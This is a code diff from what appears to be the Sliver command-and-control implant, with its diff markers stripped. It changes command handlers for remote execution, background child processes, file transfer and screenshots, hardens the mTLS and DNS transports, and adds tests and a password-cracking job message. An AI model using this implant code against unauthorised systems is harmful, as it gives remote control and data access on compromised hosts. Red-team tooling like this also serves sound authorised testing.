||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
|
||||
|
||||
@@ -96,21 +96,22 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.Bytes()
|
||||
execResp.Stdout = stdOutBuff.Bytes()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -37,6 +37,8 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
@@ -46,7 +48,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
return errors.New("[mtls] connect returned nil conn")
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
_ = conn.Close()
|
||||
return errors.New("[mtls] failed to create yamux session (nil)")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
if muxSession == nil {
|
||||
return nil, errors.New("[mtls] recv called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return nil, errors.New("[mtls] accept returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if muxSession == nil {
|
||||
return errors.New("[mtls] send called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[mtls] open returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
|
||||
@@ -46,6 +46,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
}
|
||||
s.resolvers = []DNSResolver{}
|
||||
for _, server := range s.resolvConf.Servers {
|
||||
address, port := splitResolverAddress(server, s.resolvConf.Port)
|
||||
s.resolvers = append(s.resolvers,
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
|
||||
// {{end}}
|
||||
|
||||
err = s.getDNSSessionID() // Get a 'dns session id'
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.fingerprintResolvers() // Fingerprint the resolvers
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
// Generate a random session ID locally. The server will only allocate state
|
||||
// after a successful INIT, which avoids an unauthenticated session bootstrap.
|
||||
if s.dnsSessionID == 0 {
|
||||
sid, err := s.randomDNSSessionID()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.dnsSessionID = sid
|
||||
}
|
||||
|
||||
// Key agreement with server
|
||||
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
resolver, _ := s.randomResolver()
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
ID: s.nextMsgID(),
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg send failure %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return ErrEmptyResponse
|
||||
var respData []byte
|
||||
var initErr error
|
||||
for _, resolver := range s.resolvers {
|
||||
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if initErr != nil {
|
||||
continue
|
||||
}
|
||||
if len(respData) < 1 {
|
||||
initErr = ErrEmptyResponse
|
||||
continue
|
||||
}
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
initErr = err
|
||||
continue
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
initErr = errInvalidDNSSessionID
|
||||
continue
|
||||
}
|
||||
initErr = nil
|
||||
break
|
||||
}
|
||||
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
if initErr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg decryption failure %v", err)
|
||||
log.Printf("[dns] init msg send failure %v", initErr)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg dns session id mismatch")
|
||||
// {{end}}
|
||||
return err
|
||||
return initErr
|
||||
}
|
||||
|
||||
// Good to go!
|
||||
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
log.Printf("[dns] key exchange was successful!")
|
||||
// {{end}}
|
||||
|
||||
// Now that we have a server-side session, benchmark/fingerprint resolvers and
|
||||
// drop ones that error.
|
||||
s.fingerprintResolvers()
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] starting worker(s) ...")
|
||||
// {{end}}
|
||||
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
return subdata, nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) getDNSSessionID() error {
|
||||
otpMsg, err := s.otpMsg()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
otpDomain, err := s.joinSubdataToParent(otpMsg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
|
||||
// {{end}}
|
||||
|
||||
var a []byte
|
||||
for _, resolver := range s.resolvers {
|
||||
a, _, err = resolver.A(otpDomain)
|
||||
if err == nil {
|
||||
break
|
||||
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
|
||||
// sessionID is 24-bit and must be non-zero.
|
||||
randBuf := make([]byte, 4)
|
||||
for {
|
||||
_, err := rand.Read(randBuf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
|
||||
if sid != 0 {
|
||||
return sid, nil
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return err // All resolvers failed
|
||||
}
|
||||
if len(a) < 1 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
|
||||
if s.dnsSessionID == 0 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) loadResolvConf() error {
|
||||
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
|
||||
return err
|
||||
}
|
||||
|
||||
func splitResolverAddress(server string, defaultPort string) (string, string) {
|
||||
server = strings.TrimSpace(server)
|
||||
if server == "" {
|
||||
return "", defaultPort
|
||||
}
|
||||
|
||||
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
|
||||
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
|
||||
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
|
||||
if host, port, err := net.SplitHostPort(server); err == nil {
|
||||
return host, port
|
||||
}
|
||||
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
|
||||
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
|
||||
}
|
||||
return server, defaultPort
|
||||
}
|
||||
|
||||
// Joins subdata to the parent domain, you must have already done the math to
|
||||
// ensure the subdata can fit in the domain
|
||||
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
||||
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
||||
otpMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: uint32(0), // Take advantage of the variable length encoding
|
||||
}
|
||||
data, err := proto.Marshal(otpMsg)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
msg, _ := s.base32.Encode(data)
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
|
||||
func (s *SliverDNSClient) fingerprintResolvers() {
|
||||
wg := &sync.WaitGroup{}
|
||||
|
||||
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
|
||||
}
|
||||
}
|
||||
|
||||
func TestOTPMsgRoundTrip(t *testing.T) {
|
||||
func TestRandomDNSSessionID(t *testing.T) {
|
||||
client := NewDNSClient(parent1, opts)
|
||||
encoded, err := client.otpMsg()
|
||||
sid, err := client.randomDNSSessionID()
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg error: %s", err)
|
||||
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
|
||||
}
|
||||
if !isBase32String(encoded) {
|
||||
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
|
||||
if sid == 0 {
|
||||
t.Fatal("expected non-zero dns session id")
|
||||
}
|
||||
raw, err := encoders.Base32{}.Decode([]byte(encoded))
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg decode error: %s", err)
|
||||
}
|
||||
msg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, msg); err != nil {
|
||||
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
|
||||
}
|
||||
if msg.Type != dnspb.DNSMessageType_TOTP {
|
||||
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
|
||||
}
|
||||
if msg.ID != 0 {
|
||||
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
|
||||
if (sid & ^uint32(sessionIDBitMask)) != 0 {
|
||||
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
||||
retries = 1
|
||||
}
|
||||
return &GenericResolver{
|
||||
address: address + ":" + port,
|
||||
address: net.JoinHostPort(address, port),
|
||||
retries: retries,
|
||||
retryWait: retryWait,
|
||||
resolver: &dns.Client{
|
||||
|
||||
@@ -21,7 +21,6 @@ package mtls
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
@@ -30,6 +29,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"reflect"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func writeAll(w io.Writer, p []byte) error {
|
||||
for len(p) > 0 {
|
||||
n, err := w.Write(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return io.ErrShortWrite
|
||||
}
|
||||
p = p[n:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
// which is a fancy way of saying we write the length of the message then the message
|
||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if isNilInterface(w) {
|
||||
return errors.New("[mtls] nil writer")
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return fmt.Errorf("[mtls] marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("[mtls] envelope signing key: %w", err)
|
||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
||||
return werr
|
||||
if werr := writeAll(w, rawSigBuf); werr != nil {
|
||||
return fmt.Errorf("[mtls] write raw signature: %w", werr)
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
var dataLengthBuf [4]byte
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
|
||||
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data length: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data length: %w", werr)
|
||||
}
|
||||
if _, werr := w.Write(data); werr != nil {
|
||||
if werr := writeAll(w, data); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data: %w", werr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package mtls
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"testing"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := WriteEnvelope(&buf, nil); err == nil {
|
||||
t.Fatalf("expected error for nil envelope")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil writer")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var conn *tls.Conn
|
||||
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil *tls.Conn writer")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package transports
|
||||
|
||||
import "reflect"
|
||||
|
||||
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,9 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -45,8 +47,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
|
||||
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "mtls connection returned nil conn"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
conn.Close()
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "[mtls] failed to create yamux session (nil)"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
|
||||
+650
-460
File diff suppressed because it is too large.
Load diff
@@ -1272,6 +1272,21 @@ message CrackCommand {
|
||||
string BrainSessionWhitelist = 113;
|
||||
}
|
||||
|
||||
message CrackJob {
|
||||
string ID = 1;
|
||||
string CreatedAt = 2;
|
||||
string CompletedAt = 3;
|
||||
CrackJobStatus Status = 4;
|
||||
string Err = 5;
|
||||
|
||||
CrackCommand Command = 7;
|
||||
string ResultFileID = 8;
|
||||
}
|
||||
|
||||
message CrackResponse {
|
||||
CrackJob Job = 1;
|
||||
}
|
||||
|
||||
message CrackConfig {
|
||||
bool AutoFire = 1;
|
||||
int64 MaxFileSize = 2;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v6.33.4
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
+13
-20
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v6.33.4
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -24,7 +24,6 @@ type DNSMessageType int32
|
||||
|
||||
const (
|
||||
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
|
||||
DNSMessageType_TOTP DNSMessageType = 1
|
||||
DNSMessageType_INIT DNSMessageType = 2
|
||||
DNSMessageType_POLL DNSMessageType = 3
|
||||
DNSMessageType_CLOSE DNSMessageType = 4
|
||||
@@ -38,7 +37,6 @@ const (
|
||||
var (
|
||||
DNSMessageType_name = map[int32]string{
|
||||
0: "NOP",
|
||||
1: "TOTP",
|
||||
2: "INIT",
|
||||
3: "POLL",
|
||||
4: "CLOSE",
|
||||
@@ -49,7 +47,6 @@ var (
|
||||
}
|
||||
DNSMessageType_value = map[string]int32{
|
||||
"NOP": 0,
|
||||
"TOTP": 1,
|
||||
"INIT": 2,
|
||||
"POLL": 3,
|
||||
"CLOSE": 4,
|
||||
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
//depending on the DNSMessageType.
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
|
||||
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
|
||||
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
|
||||
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
|
||||
